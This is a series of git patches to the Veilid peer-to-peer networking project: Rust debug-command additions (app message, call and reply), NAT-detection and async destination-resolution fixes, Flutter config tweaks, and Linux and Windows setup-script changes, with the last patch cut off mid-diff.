From 0ac6fc7dc7fa945f7256847f177d868c2ccf2b09 Mon Sep 17 00:00:00 2001 From: Linus Gasser Date: Fri, 8 Sep 2023 19:23:46 +0200 Subject: [PATCH 01/86] Adding musl target env --- veilid-core/src/intf/native/network_interfaces/netlink.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/src/intf/native/network_interfaces/netlink.rs b/veilid-core/src/intf/native/network_interfaces/netlink.rs index 3c757637..e1f0c750 100644 --- a/veilid-core/src/intf/native/network_interfaces/netlink.rs +++ b/veilid-core/src/intf/native/network_interfaces/netlink.rs @@ -122,7 +122,7 @@ impl PlatformSupportNetlink { } cfg_if! { - if #[cfg(target_os = "android")] { + if #[cfg(any(target_os = "android", target_env = "musl"))] { let res = unsafe { ioctl(sock, SIOCGIFFLAGS as i32, &mut req) }; } else { let res = unsafe { ioctl(sock, SIOCGIFFLAGS, &mut req) }; From 607b595807df637214fa11aa7d8976b84f50e959 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 11:24:52 -0400 Subject: [PATCH 02/86] fixes --- .../native/discovery_context.rs | 2 +- .../native/network_class_discovery.rs | 26 +++++++++---------- veilid-core/src/veilid_api/debug.rs | 2 +- 3 files changed, 15 insertions(+), 15 deletions(-) diff --git a/veilid-core/src/network_manager/native/discovery_context.rs b/veilid-core/src/network_manager/native/discovery_context.rs index 5cc70cf4..830dc28d 100644 --- a/veilid-core/src/network_manager/native/discovery_context.rs +++ b/veilid-core/src/network_manager/native/discovery_context.rs @@ -420,7 +420,7 @@ impl DiscoveryContext { }; // If we have two different external addresses, then this is a symmetric NAT - if external_2.address != external_1.address { + if external_2.address.address() != external_1.address.address() { let do_symmetric_nat_fut: SendPinBoxFuture> = Box::pin(async move { Some(DetectedDialInfo::SymmetricNAT) }); unord.push(do_symmetric_nat_fut); diff --git a/veilid-core/src/network_manager/native/network_class_discovery.rs b/veilid-core/src/network_manager/native/network_class_discovery.rs index 62d0ba95..94db7ece 100644 --- a/veilid-core/src/network_manager/native/network_class_discovery.rs +++ b/veilid-core/src/network_manager/native/network_class_discovery.rs @@ -11,19 +11,6 @@ impl Network { .get_network_class(RoutingDomain::PublicInternet) .unwrap_or_default(); - // get existing dial info into table by protocol/address type - let mut existing_dial_info = BTreeMap::<(ProtocolType, AddressType), DialInfoDetail>::new(); - for did in self.routing_table().all_filtered_dial_info_details( - RoutingDomain::PublicInternet.into(), - &DialInfoFilter::all(), - ) { - // Only need to keep one per pt/at pair, since they will all have the same dialinfoclass - existing_dial_info.insert( - (did.dial_info.protocol_type(), did.dial_info.address_type()), - did, - ); - } - match ddi { DetectedDialInfo::SymmetricNAT => { // If we get any symmetric nat dialinfo, this whole network class is outbound only, @@ -39,6 +26,19 @@ impl Network { } } DetectedDialInfo::Detected(did) => { + // get existing dial info into table by protocol/address type + let mut existing_dial_info = + BTreeMap::<(ProtocolType, AddressType), DialInfoDetail>::new(); + for did in self.routing_table().all_filtered_dial_info_details( + RoutingDomain::PublicInternet.into(), + &DialInfoFilter::all(), + ) { + // Only need to keep one per pt/at pair, since they will all have the same dialinfoclass + existing_dial_info.insert( + (did.dial_info.protocol_type(), did.dial_info.address_type()), + did, + ); + } // We got a dial info, upgrade everything unless we are fixed to outbound only due to a symmetric nat if !matches!(existing_network_class, NetworkClass::OutboundOnly) { // Get existing dial info for protocol/address type combination diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 17050629..38ee02f6 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -648,7 +648,7 @@ impl VeilidAPI { if !args.is_empty() { if args[0] == "buckets" { // Must be detached - if matches!( + if !matches!( self.get_state().await?.attachment.state, AttachmentState::Detached | AttachmentState::Detaching ) { From b51e14783baee4d5b7f5a91e5a0f4ad7b4d2f3bb Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 11:56:50 -0400 Subject: [PATCH 03/86] resolve node --- veilid-core/src/veilid_api/debug.rs | 193 ++++++++++++++++++---------- 1 file changed, 128 insertions(+), 65 deletions(-) diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 38ee02f6..524c0cd8 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -165,82 +165,89 @@ fn get_node_ref_modifiers(mut node_ref: NodeRef) -> impl FnOnce(&str) -> Option< } } -fn get_destination(routing_table: RoutingTable) -> impl FnOnce(&str) -> Option { +fn get_destination( + routing_table: RoutingTable, +) -> impl FnOnce(&str) -> SendPinBoxFuture> { move |text| { - // Safety selection - let (text, ss) = if let Some((first, second)) = text.split_once('+') { - let ss = get_safety_selection(routing_table.clone())(second)?; - (first, Some(ss)) - } else { - (text, None) - }; - if text.len() == 0 { - return None; - } - if &text[0..1] == "#" { - let rss = routing_table.route_spec_store(); + let text = text.to_owned(); + Box::pin(async move { + // Safety selection + let (text, ss) = if let Some((first, second)) = text.split_once('+') { + let ss = get_safety_selection(routing_table.clone())(second)?; + (first, Some(ss)) + } else { + (text.as_str(), None) + }; + if text.len() == 0 { + return None; + } + if &text[0..1] == "#" { + let rss = routing_table.route_spec_store(); - // Private route - let text = &text[1..]; + // Private route + let text = &text[1..]; - let private_route = if let Some(prid) = get_route_id(rss.clone(), false, true)(text) { - let Some(private_route) = rss.best_remote_private_route(&prid) else { + let private_route = if let Some(prid) = get_route_id(rss.clone(), false, true)(text) + { + let Some(private_route) = rss.best_remote_private_route(&prid) else { return None; }; - private_route - } else { - let mut dc = DEBUG_CACHE.lock(); - let n = get_number(text)?; - let prid = dc.imported_routes.get(n)?.clone(); - let Some(private_route) = rss.best_remote_private_route(&prid) else { + private_route + } else { + let mut dc = DEBUG_CACHE.lock(); + let n = get_number(text)?; + let prid = dc.imported_routes.get(n)?.clone(); + let Some(private_route) = rss.best_remote_private_route(&prid) else { // Remove imported route dc.imported_routes.remove(n); info!("removed dead imported route {}", n); return None; }; - private_route - }; + private_route + }; - Some(Destination::private_route( - private_route, - ss.unwrap_or(SafetySelection::Unsafe(Sequencing::default())), - )) - } else { - let (text, mods) = text - .split_once('/') - .map(|x| (x.0, Some(x.1))) - .unwrap_or((text, None)); - if let Some((first, second)) = text.split_once('@') { - // Relay - let mut relay_nr = get_node_ref(routing_table.clone())(second)?; - let target_nr = get_node_ref(routing_table)(first)?; - - if let Some(mods) = mods { - relay_nr = get_node_ref_modifiers(relay_nr)(mods)?; - } - - let mut d = Destination::relay(relay_nr, target_nr); - if let Some(ss) = ss { - d = d.with_safety(ss) - } - - Some(d) + Some(Destination::private_route( + private_route, + ss.unwrap_or(SafetySelection::Unsafe(Sequencing::default())), + )) } else { - // Direct - let mut target_nr = get_node_ref(routing_table)(text)?; + let (text, mods) = text + .split_once('/') + .map(|x| (x.0, Some(x.1))) + .unwrap_or((text, None)); + if let Some((first, second)) = text.split_once('@') { + // Relay + let mut relay_nr = get_node_ref(routing_table.clone())(second)?; + let target_nr = get_node_ref(routing_table)(first)?; - if let Some(mods) = mods { - target_nr = get_node_ref_modifiers(target_nr)(mods)?; + if let Some(mods) = mods { + relay_nr = get_node_ref_modifiers(relay_nr)(mods)?; + } + + let mut d = Destination::relay(relay_nr, target_nr); + if let Some(ss) = ss { + d = d.with_safety(ss) + } + + Some(d) + } else { + // Direct + let mut target_nr = + resolve_node_ref(routing_table, ss.unwrap_or_default())(text).await?; + + if let Some(mods) = mods { + target_nr = get_node_ref_modifiers(target_nr)(mods)?; + } + + let mut d = Destination::direct(target_nr); + if let Some(ss) = ss { + d = d.with_safety(ss) + } + + Some(d) } - - let mut d = Destination::direct(target_nr); - if let Some(ss) = ss { - d = d.with_safety(ss) - } - - Some(d) } - } + }) } } @@ -292,6 +299,44 @@ fn get_dht_key( } } +fn resolve_node_ref( + routing_table: RoutingTable, + safety_selection: SafetySelection, +) -> impl FnOnce(&str) -> SendPinBoxFuture> { + move |text| { + let text = text.to_owned(); + Box::pin(async move { + let (text, mods) = text + .split_once('/') + .map(|x| (x.0, Some(x.1))) + .unwrap_or((&text, None)); + + let mut nr = if let Some(key) = get_public_key(text) { + let node_id = TypedKey::new(best_crypto_kind(), key); + routing_table + .rpc_processor() + .resolve_node(node_id, safety_selection) + .await + .ok() + .flatten()? + } else if let Some(node_id) = get_typed_key(text) { + routing_table + .rpc_processor() + .resolve_node(node_id, safety_selection) + .await + .ok() + .flatten()? + } else { + return None; + }; + if let Some(mods) = mods { + nr = get_node_ref_modifiers(nr)(mods)?; + } + Some(nr) + }) + } +} + fn get_node_ref(routing_table: RoutingTable) -> impl FnOnce(&str) -> Option { move |text| { let (text, mods) = text @@ -301,8 +346,8 @@ fn get_node_ref(routing_table: RoutingTable) -> impl FnOnce(&str) -> Option Option>( Ok(val) } +async fn async_get_debug_argument_at SendPinBoxFuture>>( + debug_args: &[String], + pos: usize, + context: &str, + argument: &str, + getter: G, +) -> VeilidAPIResult { + if pos >= debug_args.len() { + apibail_missing_argument!(context, argument); + } + let value = &debug_args[pos]; + let Some(val) = getter(value).await else { + apibail_invalid_argument!(context, argument, value); + }; + Ok(val) +} + pub fn print_data(data: &[u8], truncate_len: Option) -> String { // check is message body is ascii printable let mut printable = true; @@ -749,13 +811,14 @@ impl VeilidAPI { let args: Vec = args.split_whitespace().map(|s| s.to_owned()).collect(); - let dest = get_debug_argument_at( + let dest = async_get_debug_argument_at( &args, 0, "debug_ping", "destination", get_destination(routing_table), - )?; + ) + .await?; // Dump routing table entry let out = match rpc From 28b08034f5c0fc97ef90b959ac0a70910b13c042 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 15:53:19 -0400 Subject: [PATCH 04/86] appmessage/call commands --- veilid-core/src/routing_table/debug.rs | 1 + veilid-core/src/veilid_api/debug.rs | 93 +++++++++++++++++++++++++- 2 files changed, 93 insertions(+), 1 deletion(-) diff --git a/veilid-core/src/routing_table/debug.rs b/veilid-core/src/routing_table/debug.rs index 8f3875d9..64207987 100644 --- a/veilid-core/src/routing_table/debug.rs +++ b/veilid-core/src/routing_table/debug.rs @@ -73,6 +73,7 @@ impl RoutingTable { " Self Transfer Stats: {:#?}\n\n", inner.self_transfer_stats ); + out += &format!(" Version: {}\n\n", veilid_version_string()); out } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 524c0cd8..81920b38 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -439,6 +439,19 @@ fn get_debug_argument Option>( }; Ok(val) } + +async fn async_get_debug_argument SendPinBoxFuture>>( + value: &str, + context: &str, + argument: &str, + getter: G, +) -> VeilidAPIResult { + let Some(val) = getter(value).await else { + apibail_invalid_argument!(context, argument, value); + }; + Ok(val) +} + fn get_debug_argument_at Option>( debug_args: &[String], pos: usize, @@ -820,7 +833,7 @@ impl VeilidAPI { ) .await?; - // Dump routing table entry + // Send a StatusQ let out = match rpc .rpc_call_status(dest) .await @@ -835,6 +848,78 @@ impl VeilidAPI { Ok(format!("{:#?}", out)) } + async fn debug_app_message(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let routing_table = netman.routing_table(); + let rpc = netman.rpc_processor(); + + let (arg, rest) = args.split_once(' ').unwrap_or((&args, "")); + let rest = rest.trim_start().to_owned(); + + let dest = async_get_debug_argument( + arg, + "debug_app_message", + "destination", + get_destination(routing_table), + ) + .await?; + + let data = get_debug_argument(&rest, "debug_app_message", "data", get_data)?; + let data_len = data.len(); + + // Send a AppMessage + let out = match rpc + .rpc_call_app_message(dest, data) + .await + .map_err(VeilidAPIError::internal)? + { + NetworkResult::Value(_) => format!("Sent {} bytes", data_len), + r => { + return Ok(r.to_string()); + } + }; + + Ok(out) + } + + async fn debug_app_call(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let routing_table = netman.routing_table(); + let rpc = netman.rpc_processor(); + + let (arg, rest) = args.split_once(' ').unwrap_or((&args, "")); + let rest = rest.trim_start().to_owned(); + + let dest = async_get_debug_argument( + arg, + "debug_app_call", + "destination", + get_destination(routing_table), + ) + .await?; + + let data = get_debug_argument(&rest, "debug_app_call", "data", get_data)?; + let data_len = data.len(); + + // Send a AppMessage + let out = match rpc + .rpc_call_app_call(dest, data) + .await + .map_err(VeilidAPIError::internal)? + { + NetworkResult::Value(v) => format!( + "Sent {} bytes, received: {}", + data_len, + print_data(&v.answer, Some(512)) + ), + r => { + return Ok(r.to_string()); + } + }; + + Ok(out) + } + async fn debug_route_allocate(&self, args: Vec) -> VeilidAPIResult { // [ord|*ord] [rel] [] [in|out] [avoid_node_id] @@ -1451,6 +1536,8 @@ detach restart network contact [] ping +appmessage +appcall relay [public|local] punish list route allocate [ord|*ord] [rel] [] [in|out] @@ -1528,6 +1615,10 @@ record list self.debug_relay(rest).await } else if arg == "ping" { self.debug_ping(rest).await + } else if arg == "appmessage" { + self.debug_app_message(rest).await + } else if arg == "appcall" { + self.debug_app_call(rest).await } else if arg == "contact" { self.debug_contact(rest).await } else if arg == "nodeinfo" { From f424ab36b75c554e8e63024ce62145796c187082 Mon Sep 17 00:00:00 2001 From: Kyle H Date: Sun, 10 Sep 2023 16:15:50 -0400 Subject: [PATCH 05/86] Add Windows build_docs script --- build_docs.bat | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 build_docs.bat diff --git a/build_docs.bat b/build_docs.bat new file mode 100644 index 00000000..89f19e5b --- /dev/null +++ b/build_docs.bat @@ -0,0 +1,3 @@ +@echo off +cargo doc --no-deps -p veilid-core +cargo doc --no-deps -p veilid-tools From fb86bdd3b634ffadc5dd5f088c23e6eac6505488 Mon Sep 17 00:00:00 2001 From: Kyle H Date: Sun, 10 Sep 2023 16:32:38 -0400 Subject: [PATCH 06/86] Fix a couple markdownlint issues, no change to content. --- code_of_conduct.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/code_of_conduct.md b/code_of_conduct.md index c039824b..195acfbc 100644 --- a/code_of_conduct.md +++ b/code_of_conduct.md @@ -133,5 +133,6 @@ For answers to common questions about this code of conduct, see the FAQ at [translations]: https://www.contributor-covenant.org/translations ## Revisions + Veilid Foundation, Inc reserves the right to make revisions to this document -to ensure its continued alignment with our ideals. \ No newline at end of file +to ensure its continued alignment with our ideals. From a5e17a0d650140dba059d8cf5624626098d6a4a7 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 17:07:22 -0400 Subject: [PATCH 07/86] appreply --- veilid-core/src/rpc_processor/mod.rs | 5 +++ .../src/rpc_processor/operation_waiter.rs | 14 ++++++++ veilid-core/src/veilid_api/debug.rs | 34 +++++++++++++++++++ 3 files changed, 53 insertions(+) diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 8f4baea8..38a38ed8 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -434,6 +434,11 @@ impl RPCProcessor { ////////////////////////////////////////////////////////////////////// + /// Get waiting app call id for debugging purposes + pub fn get_app_call_ids(&self) -> Vec { + self.unlocked_inner.waiting_app_call_table.get_operation_ids() + } + /// Determine if a SignedNodeInfo can be placed into the specified routing domain fn verify_node_info( &self, diff --git a/veilid-core/src/rpc_processor/operation_waiter.rs b/veilid-core/src/rpc_processor/operation_waiter.rs index 3588e10e..f7c7bd00 100644 --- a/veilid-core/src/rpc_processor/operation_waiter.rs +++ b/veilid-core/src/rpc_processor/operation_waiter.rs @@ -30,6 +30,7 @@ where C: Unpin + Clone, { context: C, + timestamp: Timestamp, eventual: EventualValue<(Option, T)>, } @@ -82,6 +83,7 @@ where let e = EventualValue::new(); let waiting_op = OperationWaitingOp { context, + timestamp: get_aligned_timestamp(), eventual: e.clone(), }; if inner.waiting_op_table.insert(op_id, waiting_op).is_some() { @@ -98,6 +100,18 @@ where } } + /// Get all waiting operation ids + pub fn get_operation_ids(&self) -> Vec { + let inner = self.inner.lock(); + let mut opids: Vec<(OperationId, Timestamp)> = inner + .waiting_op_table + .iter() + .map(|x| (*x.0, x.1.timestamp)) + .collect(); + opids.sort_by(|a, b| a.1.cmp(&b.1)); + opids.into_iter().map(|x| x.0).collect() + } + /// Get operation context pub fn get_op_context(&self, op_id: OperationId) -> Result { let inner = self.inner.lock(); diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 81920b38..90c144c0 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -920,6 +920,37 @@ impl VeilidAPI { Ok(out) } + async fn debug_app_reply(&self, args: String) -> VeilidAPIResult { + let netman = self.network_manager()?; + let rpc = netman.rpc_processor(); + + let (call_id, data) = if args.starts_with("#") { + let (arg, rest) = args[1..].split_once(' ').unwrap_or((&args, "")); + let call_id = + OperationId::new(u64::from_str_radix(arg, 16).map_err(VeilidAPIError::generic)?); + let rest = rest.trim_start().to_owned(); + let data = get_debug_argument(&rest, "debug_app_reply", "data", get_data)?; + (call_id, data) + } else { + let call_id = rpc + .get_app_call_ids() + .first() + .cloned() + .ok_or_else(|| VeilidAPIError::generic("no app calls waiting"))?; + let data = get_debug_argument(&args, "debug_app_reply", "data", get_data)?; + (call_id, data) + }; + + let data_len = data.len(); + + // Send a AppCall Reply + self.app_call_reply(call_id, data) + .await + .map_err(VeilidAPIError::internal)?; + + Ok(format!("Replied with {} bytes", data_len)) + } + async fn debug_route_allocate(&self, args: Vec) -> VeilidAPIResult { // [ord|*ord] [rel] [] [in|out] [avoid_node_id] @@ -1538,6 +1569,7 @@ contact [] ping appmessage appcall +appreply [#id] relay [public|local] punish list route allocate [ord|*ord] [rel] [] [in|out] @@ -1619,6 +1651,8 @@ record list self.debug_app_message(rest).await } else if arg == "appcall" { self.debug_app_call(rest).await + } else if arg == "appreply" { + self.debug_app_reply(rest).await } else if arg == "contact" { self.debug_contact(rest).await } else if arg == "nodeinfo" { From 6e26fb4c8fe0b58362c6830dc6763272c9586d1e Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:16:57 -0400 Subject: [PATCH 08/86] more nodeinfo --- veilid-core/src/veilid_api/debug.rs | 47 +++++++++++++++++++++++++- veilid-flutter/lib/default_config.dart | 4 +-- 2 files changed, 48 insertions(+), 3 deletions(-) diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 90c144c0..29d6ad3d 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -15,6 +15,35 @@ static DEBUG_CACHE: Mutex = Mutex::new(DebugCache { imported_routes: Vec::new(), }); +fn format_opt_ts(ts: Option) -> String { + let Some(ts) = ts else { + return "---".to_owned(); + }; + let ts = ts.as_u64(); + let secs = timestamp_to_secs(ts); + if secs >= 1.0 { + format!("{:.2}s", timestamp_to_secs(ts)) + } else { + format!("{:.2}ms", timestamp_to_secs(ts) * 1000.0) + } +} + +fn format_opt_bps(bps: Option) -> String { + let Some(bps) = bps else { + return "---".to_owned(); + }; + let bps = bps.as_u64(); + if bps >= 1024u64 * 1024u64 * 1024u64 { + format!("{:.2}GB/s", (bps / (1024u64 * 1024u64)) as f64 / 1024.0) + } else if bps >= 1024u64 * 1024u64 { + format!("{:.2}MB/s", (bps / 1024u64) as f64 / 1024.0) + } else if bps >= 1024u64 { + format!("{:.2}KB/s", bps as f64 / 1024.0) + } else { + format!("{:.2}B/s", bps as f64) + } +} + fn get_bucket_entry_state(text: &str) -> Option { if text == "dead" { Some(BucketEntryState::Dead) @@ -653,7 +682,23 @@ impl VeilidAPI { async fn debug_nodeinfo(&self, _args: String) -> VeilidAPIResult { // Dump routing table entry let routing_table = self.network_manager()?.routing_table(); - Ok(routing_table.debug_info_nodeinfo()) + let nodeinfo = routing_table.debug_info_nodeinfo(); + + // Dump core state + let state = self.get_state().await?; + + let mut peertable = format!("Connections: {}\n", state.network.peers.len()); + for peer in state.network.peers { + peertable += &format!( + " {} | {} | {} | {} down | {} up\n", + peer.node_ids.first().unwrap(), + peer.peer_address, + format_opt_ts(peer.peer_stats.latency.map(|l| l.average)), + format_opt_bps(Some(peer.peer_stats.transfer.down.average)), + format_opt_bps(Some(peer.peer_stats.transfer.up.average)), + ); + } + Ok(format!("{}\n\n{}\n\n", nodeinfo, peertable)) } async fn debug_config(&self, args: String) -> VeilidAPIResult { diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index eac855bc..a10787f3 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), From 5acf024cdbb1205b50d66854268299463f8d15d3 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:20:03 -0400 Subject: [PATCH 09/86] oops --- veilid-flutter/lib/default_config.dart | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index a10787f3..eac855bc 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), From b3294d905d685e99e31bcc347982bddf090dcfb8 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:30:29 -0400 Subject: [PATCH 10/86] rename --- veilid-core/src/veilid_api/debug.rs | 2 +- veilid-flutter/lib/default_config.dart | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 29d6ad3d..cc7ed02f 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -687,7 +687,7 @@ impl VeilidAPI { // Dump core state let state = self.get_state().await?; - let mut peertable = format!("Connections: {}\n", state.network.peers.len()); + let mut peertable = format!("Recent Peers: {}\n", state.network.peers.len()); for peer in state.network.peers { peertable += &format!( " {} | {} | {} | {} down | {} up\n", diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index eac855bc..a10787f3 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 32, + maxConnections: 1024, listenAddress: '', path: 'ws', ), From 5b3d589bf2478d9448c34e2d3bc11c0f1dc07dba Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 10 Sep 2023 20:36:39 -0400 Subject: [PATCH 11/86] print max --- veilid-core/src/routing_table/routing_table_inner.rs | 2 +- veilid-core/src/veilid_api/debug.rs | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/veilid-core/src/routing_table/routing_table_inner.rs b/veilid-core/src/routing_table/routing_table_inner.rs index 6da5cefa..c2cfc291 100644 --- a/veilid-core/src/routing_table/routing_table_inner.rs +++ b/veilid-core/src/routing_table/routing_table_inner.rs @@ -1,7 +1,7 @@ use super::*; use weak_table::PtrWeakHashSet; -const RECENT_PEERS_TABLE_SIZE: usize = 64; +pub const RECENT_PEERS_TABLE_SIZE: usize = 64; pub type EntryCounts = BTreeMap<(RoutingDomain, CryptoKind), usize>; ////////////////////////////////////////////////////////////////////////// diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index cc7ed02f..633f77f4 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -687,7 +687,11 @@ impl VeilidAPI { // Dump core state let state = self.get_state().await?; - let mut peertable = format!("Recent Peers: {}\n", state.network.peers.len()); + let mut peertable = format!( + "Recent Peers: {} (max {})\n", + state.network.peers.len(), + RECENT_PEERS_TABLE_SIZE + ); for peer in state.network.peers { peertable += &format!( " {} | {} | {} | {} down | {} up\n", From cd9dd00c9219c002c01fe596d7a949fc73742b10 Mon Sep 17 00:00:00 2001 From: John Smith Date: Mon, 11 Sep 2023 10:10:05 -0400 Subject: [PATCH 12/86] add pip3 to linux prereqs too --- dev-setup/install_linux_prerequisites.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dev-setup/install_linux_prerequisites.sh b/dev-setup/install_linux_prerequisites.sh index ec09e0b3..149470ee 100755 --- a/dev-setup/install_linux_prerequisites.sh +++ b/dev-setup/install_linux_prerequisites.sh @@ -9,7 +9,7 @@ fi if [ ! -z "$(command -v apt)" ]; then # Install APT dependencies sudo apt update -y - sudo apt install -y openjdk-11-jdk-headless iproute2 curl build-essential cmake libssl-dev openssl file git pkg-config libdbus-1-dev libdbus-glib-1-dev libgirepository1.0-dev libcairo2-dev checkinstall unzip llvm wabt + sudo apt install -y openjdk-11-jdk-headless iproute2 curl build-essential cmake libssl-dev openssl file git pkg-config libdbus-1-dev libdbus-glib-1-dev libgirepository1.0-dev libcairo2-dev checkinstall unzip llvm wabt python3-pip elif [ ! -z "$(command -v dnf)" ]; then # DNF (formerly yum) sudo dnf update -y From 797e34f9654d87195f790cc03b53e0365cdcad55 Mon Sep 17 00:00:00 2001 From: John Smith Date: Mon, 11 Sep 2023 10:12:26 -0400 Subject: [PATCH 13/86] ensure setup_linux.sh isn't run as root --- dev-setup/setup_linux.sh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/dev-setup/setup_linux.sh b/dev-setup/setup_linux.sh index 2b60452f..d5b21ace 100755 --- a/dev-setup/setup_linux.sh +++ b/dev-setup/setup_linux.sh @@ -1,6 +1,11 @@ #!/bin/bash set -eo pipefail +if [ $(id -u) -eq 0 ]; then + echo "Don't run this as root" + exit +fi + SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" if [[ "$(uname)" != "Linux" ]]; then From c2c607efac823594cea7cd019b8318a4fed4ced6 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Mon, 11 Sep 2023 01:25:37 -0400 Subject: [PATCH 14/86] (wasm) Better TS types for serialized structs, RoutingContext++, more crypto fns --- veilid-core/src/crypto/types/crypto_typed.rs | 1 - .../src/crypto/types/crypto_typed_group.rs | 2 - veilid-core/src/crypto/types/keypair.rs | 2 - .../types/dht/dht_record_descriptor.rs | 4 +- .../src/veilid_api/types/dht/schema/smpl.rs | 1 - .../src/veilid_api/types/dht/value_data.rs | 1 - veilid-core/src/veilid_api/types/fourcc.rs | 1 - .../src/veilid_api/types/veilid_state.rs | 3 - veilid-wasm/src/lib.rs | 5 - veilid-wasm/src/veilid_client_js.rs | 11 +- veilid-wasm/src/veilid_crypto_js.rs | 61 +++++++-- veilid-wasm/src/veilid_routing_context_js.rs | 118 +++++++++--------- veilid-wasm/src/wasm_helpers.rs | 10 ++ 13 files changed, 133 insertions(+), 87 deletions(-) diff --git a/veilid-core/src/crypto/types/crypto_typed.rs b/veilid-core/src/crypto/types/crypto_typed.rs index 39f4bd59..740f888c 100644 --- a/veilid-core/src/crypto/types/crypto_typed.rs +++ b/veilid-core/src/crypto/types/crypto_typed.rs @@ -1,7 +1,6 @@ use super::*; #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash)] -#[cfg_attr(target_arch = "wasm32", derive(Tsify), tsify(into_wasm_abi))] pub struct CryptoTyped where K: Clone diff --git a/veilid-core/src/crypto/types/crypto_typed_group.rs b/veilid-core/src/crypto/types/crypto_typed_group.rs index 77d0974c..80f717bc 100644 --- a/veilid-core/src/crypto/types/crypto_typed_group.rs +++ b/veilid-core/src/crypto/types/crypto_typed_group.rs @@ -1,9 +1,7 @@ use super::*; #[derive(Clone, Debug, Serialize, Deserialize, PartialOrd, Ord, PartialEq, Eq, Hash, Default)] -#[cfg_attr(target_arch = "wasm32", derive(Tsify))] #[serde(from = "Vec>", into = "Vec>")] -// TODO: figure out hot to TS type this as `string`, since it's converted to string via the JSON API. pub struct CryptoTypedGroup where K: Clone diff --git a/veilid-core/src/crypto/types/keypair.rs b/veilid-core/src/crypto/types/keypair.rs index 333a5d0b..6530eefb 100644 --- a/veilid-core/src/crypto/types/keypair.rs +++ b/veilid-core/src/crypto/types/keypair.rs @@ -7,9 +7,7 @@ use super::*; tsify(from_wasm_abi, into_wasm_abi) )] pub struct KeyPair { - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub key: PublicKey, - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub secret: SecretKey, } from_impl_to_jsvalue!(KeyPair); diff --git a/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs b/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs index 32c93ffd..9d619652 100644 --- a/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs +++ 